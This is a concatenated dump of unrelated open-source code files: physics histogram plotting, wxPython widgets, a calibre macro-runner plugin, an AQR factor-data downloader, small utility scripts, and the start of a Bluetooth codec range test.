leptonjet leading pT', x=0.0, ha=\"left\")\n axes[1].set_title('[2mu2e|CR] leptonjet leading pT', x=0.0, ha=\"left\")\n\n axes[0].legend(*groupHandleLabel(axes[0]), prop={'size': 8,}, ncol=3)\n\n for ax in axes:\n ax.set_yscale('log')\n ax.autoscale(axis='both', tight=True)\n ax.text(1,1,'59.74/fb (13TeV)', ha='right', va='bottom', transform=ax.transAxes)\n ax.set_xlabel(ax.get_xlabel(), x=1.0, ha=\"right\")\n ax.set_ylabel(ax.get_ylabel(), y=1.0, ha=\"right\")\n\n fig.savefig(join(outdir, 'pt0_2mu2e.png'))\n fig.savefig(join(outdir, 'pt0_2mu2e.pdf'))\n plt.close(fig)\n\n #### subleading\n fig, axes = plt.subplots(1,2,figsize=(16,6))\n fig.subplots_adjust(wspace=0.15)\n\n bkgpt1 = outputs['bkg']['pt1'].integrate('channel', slice(1,2))\n hist.plot1d(bkgpt1, overlay='cat', ax=axes[0], stack=True, overflow='over',\n line_opts=None, fill_opts=fill_opts, error_opts=error_opts)\n\n sigpt1 = outputs['sig-2mu2e']['pt1'].integrate('channel', slice(1,2))\n hist.plot1d(sigpt1, overlay='dataset', ax=axes[0], overflow='over', clear=False)\n\n datapt1 = outputs['data']['pt1'].integrate('channel', slice(1,2))\n hist.plot1d(datapt1, overlay='cat', ax=axes[1], overflow='over', error_opts=data_err_opts)\n\n axes[0].set_title('[2mu2e|SR] leptonjet subleading pT', x=0.0, ha=\"left\")\n axes[1].set_title('[2mu2e|CR] leptonjet subleading pT', x=0.0, ha=\"left\")\n\n axes[0].legend(*groupHandleLabel(axes[0]), prop={'size': 8,}, ncol=3)\n\n for ax in axes:\n ax.set_yscale('log')\n ax.autoscale(axis='both', tight=True)\n ax.text(1,1,'59.74/fb (13TeV)', ha='right', va='bottom', transform=ax.transAxes)\n ax.set_xlabel(ax.get_xlabel(), x=1.0, ha=\"right\")\n ax.set_ylabel(ax.get_ylabel(), y=1.0, ha=\"right\")\n\n fig.savefig(join(outdir, 'pt1_2mu2e.png'))\n fig.savefig(join(outdir, 'pt1_2mu2e.pdf'))\n plt.close(fig)\n\n #### invM(lj0, lj1)\n fig, axes = plt.subplots(1,2,figsize=(16,6))\n fig.subplots_adjust(wspace=0.15)\n\n bkginvm = outputs['bkg']['invm'].integrate('channel', slice(1,2))\n hist.plot1d(bkginvm, overlay='cat', ax=axes[0], stack=True, overflow='over',\n line_opts=None, fill_opts=fill_opts, error_opts=error_opts)\n\n siginvm = outputs['sig-2mu2e']['invm'].integrate('channel', slice(1,2))\n hist.plot1d(siginvm, overlay='dataset', ax=axes[0], overflow='over', clear=False)\n\n datainvm = outputs['data']['invm'].integrate('channel', slice(1,2))\n hist.plot1d(datainvm, overlay='cat', ax=axes[1], overflow='over', error_opts=data_err_opts)\n\n axes[0].set_title('[2mu2e|SR] leptonjet pair invM', x=0.0, ha=\"left\")\n axes[1].set_title('[2mu2e|CR] leptonjet pair invM', x=0.0, ha=\"left\")\n\n axes[0].legend(*groupHandleLabel(axes[0]), prop={'size': 8,}, ncol=3)\n\n for ax in axes:\n # ax.set_yscale('log')\n ax.autoscale(axis='both', tight=True)\n left, right = ax.get_xlim()\n ax.set_xticks(np.arange(left, right+10, 10))\n ax.text(1,1,'59.74/fb (13TeV)', ha='right', va='bottom', transform=ax.transAxes)\n ax.set_xlabel(ax.get_xlabel(), x=1.0, ha=\"right\")\n ax.set_ylabel(ax.get_ylabel(), y=1.0, ha=\"right\")\n\n fig.savefig(join(outdir, 'invm_2mu2e.png'))\n fig.savefig(join(outdir, 'invm_2mu2e.pdf'))\n plt.close(fig)\n\n #### EGM-type\n fig, axes = plt.subplots(1,2,figsize=(16,6))\n fig.subplots_adjust(wspace=0.15)\n\n bkgptegm = outputs['bkg']['ptegm'].integrate('channel', slice(1,2))\n hist.plot1d(bkgptegm, overlay='cat', ax=axes[0], stack=True, overflow='over',\n line_opts=None, fill_opts=fill_opts, error_opts=error_opts)\n\n sigptegm = outputs['sig-2mu2e']['ptegm'].integrate('channel', slice(1,2))\n hist.plot1d(sigptegm, overlay='dataset', ax=axes[0], overflow='over', clear=False)\n\n dataptegm = outputs['data']['ptegm'].integrate('channel', slice(1,2))\n hist.plot1d(dataptegm, overlay='cat', ax=axes[1], overflow='over', error_opts=data_err_opts)\n\n axes[0].set_title('[2mu2e|SR] EGM-type leptonjet pT', x=0.0, ha=\"left\")\n axes[1].set_title('[2mu2e|CR] EGM-type leptonjet pT', x=0.0, ha=\"left\")\n\n axes[0].legend(*groupHandleLabel(axes[0]), prop={'size': 8,}, ncol=3)\n\n for ax in axes:\n ax.set_yscale('log')\n ax.autoscale(axis='both', tight=True)\n ax.text(1,1,'59.74/fb (13TeV)', ha='right', va='bottom', transform=ax.transAxes)\n ax.set_xlabel(ax.get_xlabel(), x=1.0, ha=\"right\")\n ax.set_ylabel(ax.get_ylabel(), y=1.0, ha=\"right\")\n ax.vlines(40, 1e-6, 1e4, linestyles='dashed')\n\n fig.savefig(join(outdir, 'ptegm_2mu2e.png'))\n fig.savefig(join(outdir, 'ptegm_2mu2e.pdf'))\n plt.close(fig)\n\n #### mu-type, pt\n fig, axes = plt.subplots(1,2,figsize=(16,6))\n fig.subplots_adjust(wspace=0.15)\n\n bkgptmu = outputs['bkg']['ptmu'].integrate('channel', slice(1,2))\n hist.plot1d(bkgptmu, overlay='cat', ax=axes[0], stack=True, overflow='over',\n line_opts=None, fill_opts=fill_opts, error_opts=error_opts)\n\n sigptmu = outputs['sig-2mu2e']['ptmu'].integrate('channel', slice(1,2))\n hist.plot1d(sigptmu, overlay='dataset', ax=axes[0], overflow='over', clear=False)\n\n dataptmu = outputs['data']['ptmu'].integrate('channel', slice(1,2))\n hist.plot1d(dataptmu, overlay='cat', ax=axes[1], overflow='over', error_opts=data_err_opts)\n\n axes[0].set_title('[2mu2e|SR] mu-type leptonjet pT', x=0.0, ha=\"left\")\n axes[1].set_title('[2mu2e|CR] mu-type leptonjet pT', x=0.0, ha=\"left\")\n\n axes[0].legend(*groupHandleLabel(axes[0]), prop={'size': 8,}, ncol=3)\n\n for ax in axes:\n ax.set_yscale('log')\n ax.autoscale(axis='both', tight=True)\n ax.text(1,1,'59.74/fb (13TeV)', ha='right', va='bottom', transform=ax.transAxes)\n ax.set_xlabel(ax.get_xlabel(), x=1.0, ha=\"right\")\n ax.set_ylabel(ax.get_ylabel(), y=1.0, ha=\"right\")\n ax.vlines(40, 1e-6, 1e4, linestyles='dashed')\n\n fig.savefig(join(outdir, 'ptmu_2mu2e.png'))\n fig.savefig(join(outdir, 'ptmu_2mu2e.pdf'))\n plt.close(fig)\n\n #### mu-type, mass\n fig, axes = plt.subplots(1,2,figsize=(16,6))\n fig.subplots_adjust(wspace=0.15)\n\n bkgmassmu = outputs['bkg']['massmu'].integrate('channel', slice(1,2))\n hist.plot1d(bkgmassmu, overlay='cat', ax=axes[0], stack=True, overflow='over',\n line_opts=None, fill_opts=fill_opts, error_opts=error_opts)\n\n sigmassmu = outputs['sig-2mu2e']['massmu'].integrate('channel', slice(1,2))\n hist.plot1d(sigptmu, overlay='dataset', ax=axes[0], overflow='over', clear=False)\n\n datamassmu = outputs['data']['massmu'].integrate('channel', slice(1,2))\n hist.plot1d(datamassmu, overlay='cat', ax=axes[1], overflow='over', error_opts=data_err_opts)\n\n axes[0].set_title('[2mu2e|SR] mu-type leptonjet mass', x=0.0, ha=\"left\")\n axes[1].set_title('[2mu2e|CR] mu-type leptonjet mass', x=0.0, ha=\"left\")\n\n axes[0].legend(*groupHandleLabel(axes[0]), prop={'size': 8,}, ncol=3)\n\n for ax in axes:\n # ax.set_yscale('log')\n left, right = ax.get_xlim()\n ax.set_xticks(np.arange(left, right+10, 10))\n ax.autoscale(axis='both', tight=True)\n ax.text(1,1,'59.74/fb (13TeV)', ha='right', va='bottom', transform=ax.transAxes)\n ax.set_xlabel(ax.get_xlabel(), x=1.0, ha=\"right\")\n ax.set_ylabel(ax.get_ylabel(), y=1.0, ha=\"right\")\n\n fig.savefig(join(outdir, 'massmu_2mu2e.png'))\n fig.savefig(join(outdir, 'massmu_2mu2e.pdf'))\n plt.close(fig)\n\n\n ## CHANNEL - 4mu\n #### leading\n fig, axes = plt.subplots(1,2,figsize=(16,6))\n fig.subplots_adjust(wspace=0.15)\n\n bkgpt0 = outputs['bkg']['pt0'].integrate('channel', slice(2,3))\n hist.plot1d(bkgpt0, overlay='cat', ax=axes[0], stack=True, overflow='over',\n line_opts=None, fill_opts=fill_opts, error_opts=error_opts)\n\n sigpt0 = outputs['sig-4mu']['pt0'].integrate('channel', slice(2,3))\n hist.plot1d(sigpt0, overlay='dataset', ax=axes[0], overflow='over', clear=False)\n\n datapt0 = outputs['data']['pt0'].integrate('channel', slice(2,3))\n hist.plot1d(datapt0, overlay='cat', ax=axes[1], overflow='over', error_opts=data_err_opts)\n\n axes[0].set_title('[4mu|SR] leptonjet leading pT', x=0.0, ha=\"left\")\n axes[1].set_title('[4mu|CR] leptonjet leading pT', x=0.0, ha=\"left\")\n\n axes[0].legend(*groupHandleLabel(axes[0]), prop={'size': 8,}, ncol=3)\n\n for ax in axes:\n ax.set_yscale('log')\n ax.autoscale(axis='both', tight=True)\n ax.text(1,1,'59.74/fb (13TeV)', ha='right', va='bottom', transform=ax.transAxes)\n ax.set_xlabel(ax.get_xlabel(), x=1.0, ha=\"right\")\n ax.set_ylabel(ax.get_ylabel(), y=1.0, ha=\"right\")\n\n fig.savefig(join(outdir, 'pt0_4mu.png'))\n fig.savefig(join(outdir, 'pt0_4mu.pdf'))\n plt.close(fig)\n\n #### subleading\n fig, axes = plt.subplots(1,2,figsize=(16,6))\n fig.subplots_adjust(wspace=0.15)\n\n bkgpt1 = outputs['bkg']['pt1'].integrate('channel', slice(2,3))\n hist.plot1d(bkgpt1, overlay='cat', ax=axes[0], stack=True, overflow='over',\n line_opts=None, fill_opts=fill_opts, error_opts=error_opts)\n\n sigpt1 = outputs['sig-4mu']['pt1'].integrate('channel', slice(2,3))\n hist.plot1d(sigpt1, overlay='dataset', ax=axes[0], overflow='over', clear=False)\n\n datapt1 = outputs['data']['pt1'].integrate('channel', slice(2,3))\n hist.plot1d(datapt1, overlay='cat', ax=axes[1], overflow='over', error_opts=data_err_opts)\n\n axes[0].set_title('[4mu|SR] leptonjet subleading pT', x=0.0, ha=\"left\")\n axes[1].set_title('[4mu|CR] leptonjet subleading pT', x=0.0, ha=\"left\")\n\n axes[0].legend(*groupHandleLabel(axes[0]), prop={'size': 8,}, ncol=3)\n\n for ax in axes:\n ax.set_yscale('log')\n ax.autoscale(axis='both', tight=True)\n ax.text(1,1,'59.74/fb (13TeV)', ha='right', va='bottom', transform=ax.transAxes)\n ax.set_xlabel(ax.get_xlabel(), x=1.0, ha=\"right\")\n ax.set_ylabel(ax.get_ylabel(), y=1.0, ha=\"right\")\n\n fig.savefig(join(outdir, 'pt1_4mu.png'))\n fig.savefig(join(outdir, 'pt1_4mu.pdf'))\n plt.close(fig)\n\n #### invM(lj0, lj1)\n fig, axes = plt.subplots(1,2,figsize=(16,6))\n fig.subplots_adjust(wspace=0.15)\n\n bkginvm = outputs['bkg']['invm'].integrate('channel', slice(2,3))\n hist.plot1d(bkginvm, overlay='cat', ax=axes[0], stack=True, overflow='over',\n line_opts=None, fill_opts=fill_opts, error_opts=error_opts)\n\n siginvm = outputs['sig-4mu']['invm'].integrate('channel', slice(2,3))\n hist.plot1d(siginvm, overlay='dataset', ax=axes[0], overflow='over', clear=False)\n\n datainvm = outputs['data']['invm'].integrate('channel', slice(2,3))\n hist.plot1d(datainvm, overlay='cat', ax=axes[1], overflow='over', error_opts=data_err_opts)\n\n axes[0].set_title('[4mu|SR] leptonjet pair invM', x=0.0, ha=\"left\")\n axes[1].set_title('[4mu|CR] leptonjet pair invM', x=0.0, ha=\"left\")\n\n axes[0].legend(*groupHandleLabel(axes[0]), prop={'size': 8,}, ncol=3)\n\n for ax in axes:\n ax.set_yscale('log')\n ax.autoscale(axis='both', tight=True)\n ax.text(1,1,'59.74/fb (13TeV)', ha='right', va='bottom', transform=ax.transAxes)\n ax.set_xlabel(ax.get_xlabel(), x=1.0, ha=\"right\")\n ax.set_ylabel(ax.get_ylabel(), y=1.0, ha=\"right\")\n\n fig.savefig(join(outdir, 'invm_4mu.png'))\n fig.savefig(join(outdir, 'invm_4mu.pdf'))\n plt.close(fig)\n\n\n if args.sync:\n webdir = 'wsi@lxplus.cern.ch:/eos/user/w/wsi/www/public/firehydrant'\n cmd = f'rsync -az --exclude \".*\" --delete {outdir} {webdir}'\n print(f\"--> sync with: {webdir}\")\n os.system(cmd)\n","repo_name":"phylsix/FireHydrant","sub_path":"FireHydrant/Analysis/StudyLeadingSubleading.py","file_name":"StudyLeadingSubleading.py","file_ext":"py","file_size_in_byte":23571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24612674903","text":"# encoding: utf-8\n\nimport wx\nfrom constants import *\nfrom variables import *\n\n\nclass Rectangle(wx.Rect):\n \n def __init__(self, X=0, Y=0, width=0, heigth=GRID_STEP):\n wx.Rect.__init__(self, X, Y, width, heigth)\n self.X = X\n self.Y = Y\n self.width = width\n self.heigth = heigth\n \n\n def draw(self,dc,zoom,pen,brush): \n dc.SetPen(wx.Pen(pen,1)) \n dc.SetBrush(wx.Brush(brush)) \n dc.DrawRectangle(self.X*zoom,self.Y,self.width*zoom,self.heigth)\n\n \n def getTrackNum(self):\n self.trackNum = self.Y / self.heigth - 1 \n return self.trackNum\n \n def getAbsStart(self):\n return self.X * TIMELINE_UNIT\n \n def getAbsStop(self):\n return (self.X + self.width) * TIMELINE_UNIT\n \n def getAbsWidth(self):\n return self.width * TIMELINE_UNIT\n\n \n\nclass TrackNameDlg(wx.Dialog):\n def __init__(self, parent, title, track):\n \n wx.Dialog.__init__(self, parent=parent, title=\"Name your pin\", style=wx.DEFAULT_DIALOG_STYLE)\n\n sizer = wx.BoxSizer(wx.VERTICAL)\n \n self.label = wx.StaticText(self, -1, \"Name your GPIO %d\" % track)\n self.text = wx.TextCtrl(self, -1, \"\", size=(80,20))\n \n sizer.Add(self.label, 0, wx.TOP|wx.ALL, 5)\n sizer.Add(self.text, 1, wx.BOTTOM|wx.ALL, 10)\n \n btnsizer = wx.StdDialogButtonSizer()\n \n btn = wx.Button(self, wx.ID_OK)\n btn.SetDefault()\n btnsizer.AddButton(btn)\n\n btn = wx.Button(self, wx.ID_CANCEL)\n btnsizer.AddButton(btn)\n btnsizer.Realize()\n\n sizer.Add(btnsizer, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5)\n\n self.SetSizer(sizer)\n sizer.Fit(self)\n\n def getText(self):\n return self.text.GetValue()\n\n\nclass Track(wx.Panel):\n def __init__(self, parent, id, name, pos, size):\n wx.Panel.__init__(self, parent=parent, id=id, pos=pos, size=size)\n self.SetBackgroundColour(\"#AAAAAA\")\n \n self.parent = parent\n self.id = id\n self.name = name\n self.pos = pos\n self.size = size\n \n self.trackNum = ((self.pos[1] - TRACKNAME_POS[1]) / GRID_STEP) + 1\n \n self.button = wx.Button(self, -1, self.name, style=wx.BORDER_NONE|wx.BU_EXACTFIT) \n self.Bind(wx.EVT_BUTTON, self.onButton, self.button)\n \n \n def onButton(self,e):\n \n dlg = TrackNameDlg(self, -1, self.trackNum)\n\n if dlg.ShowModal() == wx.ID_OK:\n self.button.SetLabel(dlg.getText())\n\n dlg.Destroy()\n \n\nclass Zoom(wx.SpinCtrl):\n def __init__(self, parent, id):\n wx.SpinCtrl.__init__(self, parent=parent, id=id, size=(40,20), value=\"1\", min=1, max=5, name=\"Zoom\")\n \n \n \n \n ","repo_name":"JRcard/GPIOSeq","sub_path":"Resources/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":2831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4386411481","text":"import os, pandas as pd\n\n# Use it after deleting files and update complete-auto-flag\n\nDF_PATH = r'D:\\Development\\OneDrive - i.shu.edu.cn\\AMOS\\People_hospital\\round_4\\MR\\2021\\mr_data_meta_round_4.xlsx'\nNII_ROOTS = [r'D:\\Development\\OneDrive - i.shu.edu.cn\\AMOS\\People_hospital\\round_4\\MR\\2021\\data', ]\n\ndf = pd.read_excel(DF_PATH)\ndf['complete_ab_flag'] = ''\ntotal_nii=[]\n# clean\nfor nii_root in NII_ROOTS:\n for root, dirs, files in os.walk(nii_root):\n file_list=[]\n for file in files:\n file_list.append(os.path.join(root, file))\n total_nii.extend(file_list) \n \ntotal_nii = [os.path.split(x)[-1].split('.nii.gz')[0] for x in total_nii]\ndf.loc[df['nii_file'].isin(total_nii), 'complete_ab_flag'] = 1\ndf.to_excel(os.path.join(DF_PATH), encoding='utf-8', index=False)","repo_name":"164140757/wild","sub_path":"wild/AMOS/data/updateDfAfterHuman.py","file_name":"updateDfAfterHuman.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24747317308","text":"\"\"\"\n# Definition for a Node.\nclass Node(object):\n def __init__(self, val=0, left=None, right=None, next=None):\n self.val = val\n self.left = left\n self.right = right\n self.next = next\n\"\"\"\n\nclass Solution(object):\n def connect(self, root):\n \"\"\"\n :type root: Node\n :rtype: Node\n \"\"\"\n queue = []\n if not root:\n return None\n\n queue.append(root)\n \n while queue:\n current_queue_length = len(queue)\n \n for i in range(current_queue_length):\n if i+1 < current_queue_length-1:\n queue[i].next = None\n else:\n queue[i].next = queue[i+1]\n \n for i in range(current_queue_length):\n if queue[i].left:\n queue[i].append(queue[i].left)\n if queue[i].right:\n queue[i].append(queue[i].right)\n queue.pop(0)\n \n\n return root\n ","repo_name":"Victor-Alexandru/PrFrTagma","sub_path":"AmazonJanuary/populationgNextPointers.py","file_name":"populationgNextPointers.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73134844241","text":"#!/usr/bin/env python\n# vim:fileencoding=UTF-8:ts=4:sw=4:sta:et:sts=4:ai\nfrom __future__ import (unicode_literals, division, absolute_import,\n print_function)\n\n__license__ = 'GPL v3'\n__copyright__ = '2016, D.Cato'\n__docformat__ = 'restructuredtext en'\n\nimport re\nfrom functools import partial\n\nfrom PyQt5.Qt import QMenu, QIcon\n\nfrom calibre.utils.logging import GUILog, ANSIStream\nfrom calibre.gui2 import error_dialog\nfrom calibre.gui2.actions import InterfaceAction, menu_action_unique_name\n\nfrom calibre_plugins.exec_macro.config import prefs\n\nfrom calibre_plugins.exec_macro.config import show_config_dialog\nfrom calibre_plugins.exec_macro.config import ConfigWidget\n\n\nclass ExecMacroAction(InterfaceAction):\n\n name = 'Exec Macro'\n # Create our top-level menu/toolbar action (text, icon_path, tooltip, keyboard shortcut)\n action_spec = ('Exec Macro', None, 'Execute current selected macro.', ())\n action_type = 'current'\n\n def genesis(self):\n # This method is called once per plugin, do initial setup here\n self.menu = QMenu(self.gui)\n self.actions = {}\n self.rebuild_menu()\n\n self.qaction.setMenu(self.menu)\n self.qaction.setIcon(get_icons('images/icon.png'))\n self.qaction.triggered.connect(self.execute_current_macro)\n\n def rebuild_menu(self):\n self.menu.clear()\n self.actions.clear()\n\n macros = prefs['macros']\n for name in sorted(macros):\n action = self.create_menu_action_unique(self.menu, name,\n tooltip=macros[name]['documentation'],\n image='dot_red.png', shortcut=None, shortcut_name=None,\n triggered=partial(self.execute_macro, name))\n self.actions[name] = action\n self.mark_current_macro()\n\n self.menu.addSeparator()\n self.create_menu_action_unique(self.menu, _('Manage macros'), tooltip=None,\n image='config.png', shortcut=None, shortcut_name=None,\n triggered=partial(show_config_dialog, self))\n\n self.delete_orphan_shortcuts()\n\n def delete_orphan_shortcuts(self):\n prefix = menu_action_unique_name(self, '')\n to_del = {sc for sc in self.gui.keyboard.shortcuts if sc.startswith(prefix)}\n new_sc = {menu_action_unique_name(self, name) for name in self.actions}\n new_sc.add(menu_action_unique_name(self, _('Manage macros')))\n to_del -= new_sc\n for sc in to_del:\n self.gui.keyboard.unregister_shortcut(sc)\n self.gui.keyboard.finalize()\n\n def mark_current_macro(self):\n for name, action in self.actions.iteritems():\n action.setIconVisibleInMenu(name == prefs['current_macro'])\n\n def execute_current_macro(self):\n self.execute_macro(prefs['current_macro'])\n\n def execute_macro(self, name):\n if name != prefs['current_macro']:\n prefs['current_macro'] = name\n self.mark_current_macro()\n\n macro = prefs['macros'].get(name, None)\n if not macro:\n return\n\n log = GUILog()\n log.outputs.append(ANSIStream())\n try:\n if macro.get('execfromfile'):\n with open(macro['macrofile'], 'rU') as file:\n self.execute(file, log)\n elif macro['program']:\n program = macro['program']\n encoding = self.get_encoding(program)\n if encoding:\n program = program.encode(encoding)\n self.execute(program, log)\n except:\n log.exception(_('Failed to execute macro'))\n error_dialog(self.gui, _('Failed to execute macro'), _(\n 'Failed to execute macro, click \"Show details\" for more information.'),\n det_msg=log.plain_text, show=True)\n\n\n\n def execute(self, program, log):\n # exec(program, globals().copy(), locals().copy())\n vars = globals().copy()\n vars['self'] = self\n vars['log'] = log\n exec(program, vars)\n\n\n def create_menu_action_unique(self, parent_menu, menu_text, image=None, tooltip=None,\n shortcut=None, triggered=None, is_checked=None, shortcut_name=None, unique_name=None):\n\n '''\n Create a menu action with the specified criteria and action, using the new\n InterfaceAction.create_menu_action() function which ensures that regardless of\n whether a shortcut is specified it will appear in Preferences->Keyboard\n '''\n orig_shortcut = shortcut\n kb = self.gui.keyboard\n if unique_name is None:\n unique_name = menu_text\n if not shortcut == False:\n full_unique_name = menu_action_unique_name(self, unique_name)\n if full_unique_name in kb.shortcuts:\n shortcut = False\n else:\n if shortcut is not None and not shortcut == False:\n if len(shortcut) == 0:\n shortcut = None\n else:\n shortcut = _(shortcut)\n\n if shortcut_name is None:\n shortcut_name = menu_text.replace('&','')\n\n ac = self.create_menu_action(parent_menu, unique_name, menu_text, icon=None, shortcut=shortcut,\n description=tooltip, triggered=triggered, shortcut_name=shortcut_name)\n if shortcut == False and not orig_shortcut == False:\n if ac.calibre_shortcut_unique_name in self.gui.keyboard.shortcuts:\n kb.replace_action(ac.calibre_shortcut_unique_name, ac)\n if image:\n ac.setIcon(QIcon(I(image)))\n if is_checked is not None:\n ac.setCheckable(True)\n if is_checked:\n ac.setChecked(True)\n\n return ac\n\n def get_encoding(self, txt):\n decl_re = re.compile(r'^[ \\t\\f]*#.*coding[:=][ \\t]*([-\\w.]+)')\n blank_re = re.compile(r'^[ \\t\\f]*(?:[#\\r\\n]|$)')\n\n lines = txt.splitlines()\n\n if len(lines) < 1:\n return None\n match = decl_re.match(lines[0])\n if match:\n return match.group(1)\n\n if len(lines) < 2 or (not blank_re.match(lines[0])):\n return None\n match = decl_re.match(lines[1])\n if match:\n return match.group(1)\n\n return None\n","repo_name":"dcato/test_sideci","sub_path":"action.py","file_name":"action.py","file_ext":"py","file_size_in_byte":6287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"462737135","text":"import json\nfrom rich import box\nfrom rich.table import Column, Table\n\n\ndef clean_dataset(df):\n df = df.loc[df[\"source\"] == \"Gathered\"]\n return df\n\ndef create_row_output_text(df_row):\n # parse ingredients correctly\n ingredients = json.loads(df_row[\"ingredients\"])\n ingredients = list(map(lambda x: f\" - {x} \\n \", ingredients))\n ingredients = \" \".join(ingredients)\n ingredients = f\"Ingredients \\n {ingredients}\"\n \n # parse directions\n directions = json.loads(df_row[\"directions\"])\n directions = list(map(lambda x: f\" - {x} \\n \", directions))\n directions = \" \".join(directions)\n directions = f\"Directions \\n {directions}\"\n return f\" {ingredients} \\n \\n {directions} \"\n\n\ndef display_df(df, console):\n \"\"\"display dataframe in ASCII format\"\"\"\n\n table = Table(\n Column(\"source_text\", justify=\"center\"),\n Column(\"target_text\", justify=\"center\"),\n title=\"Sample Data\",\n pad_edge=False,\n box=box.ASCII,\n )\n\n for i, row in enumerate(df.values.tolist()):\n table.add_row(row[0], row[1])\n\n console.print(table)","repo_name":"pankajroark/t5_truss","sub_path":"train/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35039176684","text":"# Import AQR Factors for Cdn data.\r\n\r\nimport pandas as pd\r\nimport datetime\r\nimport urllib.request\r\n\r\nDATASET_FILENAME = \"Quality-Minus-Junk-Factors-Daily.xlsx\"\r\n\r\ndef get_AQR_DataSet():\r\n dataset = None\r\n\r\n with urllib.request.urlopen(\"https://images.aqr.com/-/media/AQR/Documents/Insights/Data-Sets/Quality-Minus-Junk-Factors-Daily.xlsx\") as dataset_file:\r\n with open(DATASET_FILENAME, \"wb\") as local_dataset_file:\r\n content = dataset_file.read()\r\n local_dataset_file.write(content)\r\n dataset = pd.read_excel(content,\r\n index_col=0,\r\n usecols=[0,4],\r\n sheet_name=None,\r\n header=None)\r\n\r\n return dataset\r\n\r\ndef get_AQR_mkt(dataset):\r\n Mkt = dataset[\"MKT\"]\r\n Mkt = Mkt[15587:]\r\n \r\n # Convert dates to datetime format.\r\n Mkt.index = (datetime.datetime.strptime(str(i),\"%m/%d/%Y\").date() for i in Mkt.index)\r\n \r\n # Save data\r\n Mkt.to_csv('Mkt.csv')\r\n return Mkt\r\n\r\ndef get_AQR_SMB(dataset): \r\n SMB = dataset['SMB']\r\n SMB = SMB[15717:];\r\n \r\n # Convert dates to datetime format.\r\n SMB.index = (datetime.datetime.strptime(str(i),\"%m/%d/%Y\").date() for i in SMB.index)\r\n \r\n # Save data\r\n SMB.to_csv('SMB.csv')\r\n return SMB\r\n\r\ndef get_AQR_HML(dataset): \r\n HML = dataset['HML FF']\r\n HML = HML[15717:];\r\n \r\n # Convert dates to datetime format.\r\n HML.index = (datetime.datetime.strptime(str(i),\"%m/%d/%Y\").date() for i in HML.index)\r\n \r\n # Save data\r\n HML.to_csv('HML.csv')\r\n return HML\r\n\r\ndef get_AQR_UMD(dataset):\r\n UMD = dataset['UMD']\r\n UMD = UMD[15698:];\r\n \r\n # Convert dates to datetime format.\r\n UMD.index = (datetime.datetime.strptime(str(i),\"%m/%d/%Y\").date() for i in UMD.index)\r\n \r\n # Save data\r\n UMD.to_csv('UMD.csv')\r\n return UMD \r\n \r\ndef get_AQR_QMJ(dataset):\r\n QMJ = dataset['QMJ Factors']\r\n QMJ = QMJ[8113:];\r\n \r\n # Convert dates to datetime format.\r\n QMJ.index = (datetime.datetime.strptime(str(i),\"%m/%d/%Y\").date() for i in QMJ.index)\r\n \r\n # Save data\r\n QMJ.to_csv('QMJ.csv')\r\n return QMJ\r\n \r\ndef get_AQR_RF(dataset):\r\n RF = dataset['RF']\r\n RF = RF[19:];\r\n \r\n # Convert dates to datetime format.\r\n RF.index = (datetime.datetime.strptime(str(i),\"%m/%d/%Y\").date() for i in RF.index)\r\n \r\n # Save data\r\n RF.to_csv('RF.csv')\r\n return RF\r\n\r\ndataset = get_AQR_DataSet()\r\nget_AQR_mkt(dataset)\r\nget_AQR_SMB(dataset)\r\nget_AQR_HML(dataset)\r\nget_AQR_QMJ(dataset)\r\nget_AQR_UMD(dataset)\r\nget_AQR_RF(dataset)\r\n","repo_name":"BTWarwick/CAD_Factor_Regression_Analysis","sub_path":"getAQR_QMJ.py","file_name":"getAQR_QMJ.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"5348785973","text":"import time\nfrom acts import asserts\nfrom acts.signals import TestPass\nfrom acts.test_utils.bt.A2dpCodecBaseTest import A2dpCodecBaseTest\nfrom acts.test_utils.bt.bt_test_utils import set_bluetooth_codec\n\nDEFAULT_THDN_THRESHOLD = 0.9\nHEADSET_CONTROL_SLEEP_TIME = 10\nPHONE_BT_ENABLE_WAITING_TIME = 10\n\nclass BtRangeCodecTest(A2dpCodecBaseTest):\n def __init__(self, configs):\n super().__init__(configs)\n self.attenuator = self.attenuators[0]\n req_params = [\n 'bt_atten_start', 'bt_atten_stop',\n 'bt_atten_step', 'codecs',\n ]\n opt_params = ['RelayDevice', 'required_devices', 'audio_params']\n self.unpack_userparams(req_params, opt_params)\n\n for codec_config in self.codecs:\n self.generate_test_case(codec_config)\n\n def generate_test_case(self, codec_config):\n def test_case_fn():\n self.stream_music_on_codec_vs_atten(codec_config)\n\n test_case_name = 'test_streaming_{}'.format('_'.join(\n str(codec_config[key])\n for key in sorted(codec_config.keys(), reverse=True)\n ))\n setattr(self, test_case_name, test_case_fn)\n\n def setup_test(self):\n self.attenuator.set_atten(0)\n\n # let phone undiscoverable before headset power cycle\n self.android.droid.bluetoothMakeUndiscoverable()\n\n # power cycle headset\n self.log.info('power down headset')\n self.bt_device.power_off()\n time.sleep(HEADSET_CONTROL_SLEEP_TIME)\n self.bt_device.power_on()\n self.log.info('headset is powered on')\n\n # enable phone BT discoverability after headset paging sequence is done\n # to keep phone at master role\n time.sleep(PHONE_BT_ENABLE_WAITING_TIME)\n self.log.info('Make phone BT in connectable mode')\n self.android.droid.bluetoothMakeConnectable()\n super().setup_test()\n\n def teardown_test(self):\n super().teardown_test()\n self.bt_device.power_off()\n # after the test, reset the attenuation\n self.attenuator.set_atten(0)\n\n def stream_music_on_codec_vs_atten(self, codec_config):\n attenuation_range = range(self.bt_atten_start,\n self.bt_atten_stop + 1,\n self.bt_atten_step)\n\n results = []\n\n codec_set = set_bluetooth_codec(self.android, **codec_config)\n asserts.assert_true(codec_set, 'Codec 